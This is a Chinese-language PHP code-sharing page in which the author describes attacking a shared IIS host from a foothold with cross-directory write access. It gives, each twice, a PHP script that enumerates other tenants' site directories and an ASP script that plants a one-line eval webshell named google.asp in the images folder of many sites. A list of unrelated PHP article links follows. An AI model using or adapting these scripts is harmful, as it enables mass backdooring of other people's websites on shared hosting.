php一個(gè)找二層目錄的小東東
更新時(shí)間：2012年08月02日 23:46:48 作者：
碰到個(gè)虛擬主機(jī),iis7.0.里邊有上萬個(gè)站,只有腳本權(quán)限,沒命令行權(quán)限,但是可以跨目錄寫文件.如果能得到目標(biāo)站的物理目錄,能立馬搞定.但是想盡一切辦法,也沒找到物理路徑.所以只有用腳本找了.手工找會(huì)累死的.一個(gè)php是找的,一個(gè)asp是寫的
php版
<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
closedir($handle);
}
}
asp版
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:\intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", "，")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, "，", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>
復(fù)制代碼 代碼如下:
<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
closedir($handle);
}
}
asp版
復(fù)制代碼 代碼如下:
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:\intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", "，")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, "，", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>
相關(guān)文章
mysql_fetch_row,mysql_fetch_array,mysql_fetch_assoc的區(qū)別
一直以來，有很多初學(xué)者搞不懂這些Mysql中從查詢結(jié)果集中取得數(shù)據(jù)的函數(shù)之間有什么區(qū)別，今天我就來秀一把，在秀之前先給大家一段PHP實(shí)例2009-04-04
PHP實(shí)現(xiàn)根據(jù)設(shè)備類型自動(dòng)跳轉(zhuǎn)相應(yīng)頁面的方法
這篇文章主要介紹了PHP實(shí)現(xiàn)根據(jù)設(shè)備類型自動(dòng)跳轉(zhuǎn)相應(yīng)頁面的方法,是非常實(shí)用的功能,需要的朋友可以參考下2014-07-07
這篇文章主要為大家詳細(xì)介紹了PHP排序算法系列之歸并排序的相關(guān)資料，具有一定的參考價(jià)值，感興趣的小伙伴們可以參考一下2018-01-01
分享PHP計(jì)算兩個(gè)日期相差天數(shù)的代碼
這篇文章主要為大家分享了PHP計(jì)算兩個(gè)日期差的代碼，實(shí)例分析了php操作日期的技巧,需要的朋友可以參考下2015-12-12
PHP實(shí)現(xiàn)的函數(shù)重載功能示例
這篇文章主要介紹了PHP實(shí)現(xiàn)的函數(shù)重載功能,結(jié)合實(shí)例形式分析了php面向?qū)ο蟪绦蛟O(shè)計(jì)中使用__call方法的重載及構(gòu)造函數(shù)重載相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下2018-08-08
php實(shí)現(xiàn)動(dòng)態(tài)口令認(rèn)證的示例代碼
這篇文章主要為大家詳細(xì)介紹了php實(shí)現(xiàn)動(dòng)態(tài)口令認(rèn)證的相關(guān)知識(shí),文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下2024-02-02
php鏈?zhǔn)讲僮鱩ysql數(shù)據(jù)庫(封裝類帶使用示例)
本文代碼將一些簡單常用的SQL語句，拆分、封裝成鏈?zhǔn)胶瘮?shù)與終結(jié)函數(shù)，鏈?zhǔn)讲僮鳑]有先后之分，實(shí)現(xiàn)傻瓜式mysql數(shù)據(jù)庫操作。?同時(shí)學(xué)習(xí)下靜態(tài)成員函數(shù),實(shí)現(xiàn)鏈?zhǔn)讲僮鞯木唧w語法。2023-02-02
這篇文章主要介紹了PHP中常見的緩存技術(shù),以實(shí)例形式較為詳細(xì)的分析了php中緩存技術(shù)的原理、特點(diǎn)及使用技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-09-09
詳解php中implode explode serialize json msgpack性能對(duì)比
這篇文章主要介紹了php中implode/explode、serialize、json、 msgpack性能對(duì)比，對(duì)性能感興趣的同學(xué)，可以參考下2021-04-04
利用php+mcDropdown實(shí)現(xiàn)文件路徑可在下拉框選擇
以下是對(duì)php+mcDropdown實(shí)現(xiàn)文件路徑可在下拉框進(jìn)行選擇的方法進(jìn)行了詳細(xì)的分析介紹，需要的朋友可以過來參考下2013-08-08